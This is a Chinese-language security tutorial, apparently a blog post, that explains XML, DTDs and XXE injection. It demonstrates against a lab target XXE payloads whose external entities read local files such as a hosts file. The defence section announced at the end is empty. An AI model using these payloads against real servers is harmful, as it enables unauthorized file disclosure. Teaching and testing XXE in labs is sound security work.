30_XXE漏洞、XML基础知识、XXE实体注入防御、XXE漏洞概念、 XXE实体注入测试

XML基础知识

 

 

XXE漏洞概念

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

内部DTD

这种是内部的写法

<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->

<!-- DTD文档类型定义 -->
<!DOCTYPE girl[
    <!ELEMENT girl (age,address)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT address (#PCDATA)>
]>

<!-- 父元素 -->
<girl name="xiaohong">
    <!-- 子元素 -->
    <age>18</age>
    <address>&quot;bj</address>
</girl>

外部DTD

.xml文件

<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->

<!-- DTD文档类型定义 -->
<!DOCTYPE girl SYSTEM 'girl.dtd'>

<!-- 父元素 -->
<girl name="xiaohong">
    <!-- 子元素 -->
    <age>18</age>
    <address>&quot;bj</address>
</girl>

girl.dtd(外部DTD)

<!ELEMENT girl (age,address)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>

DTD内部实体(自定义字符实体)

<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->

<!-- DTD文档类型定义 -->
<!DOCTYPE girl[
    <!ELEMENT girl (age,address)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT address (#PCDATA)>
    <!ENTITY a "今天周三了">
    <!ENTITY b "Hello World">
]>

<!-- 父元素 -->
<girl name="xiaohong">
    <!-- 子元素 -->
    <age>18&b;</age>
    <address>&quot;bj&a;</address>
</girl>

DTD外部实体

外部实体引用:XXE跟外部实体引用有关,比如,路径是用户可控

<!ENTITY 实体名 SYSTEM "URL">
<?xml version='1.0' encoding='UTF-8' ?> <!-- xml文档声明 -->

<!-- DTD文档类型定义 -->
<!DOCTYPE girl[
    <!ELEMENT girl (age,address)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT address (#PCDATA)>
    <!ENTITY a "今天周三了">
    <!ENTITY b "Hello World">
    <!ENTITY abc SYSTEM "file:///D:/1.txt">
]>

<!-- 父元素 -->
<girl name="xiaohong">
    <!-- 子元素 -->
    <age>18&b;22&abc;22</age>
    <address>&quot;bj&a;</address>
</girl>
<?xml version='1.0' encoding='UTF-8' ?>

<!DOCTYPE girl[
    <!ENTITY abc SYSTEM "file:///D:/1.txt">
]>

<girl>读取内容为:&abc;</girl>

 XXE实体注入测试

接下来打开VSC和靶场:

试一下看能读取host文件嘛,丢进浏览器可以直接复制路径,可以读取,那这就是一个XXE漏洞

 

看一下源码,大概40行这儿

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE person[
    <!ENTITY c SYSTEM 'file:///C:/phpStudy/WWW/webBase/1.txt'>
]>

<!-- 这是注释 -->
<person name="zhangsan">
    &c;
</person>

XXE实体注入防御:

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值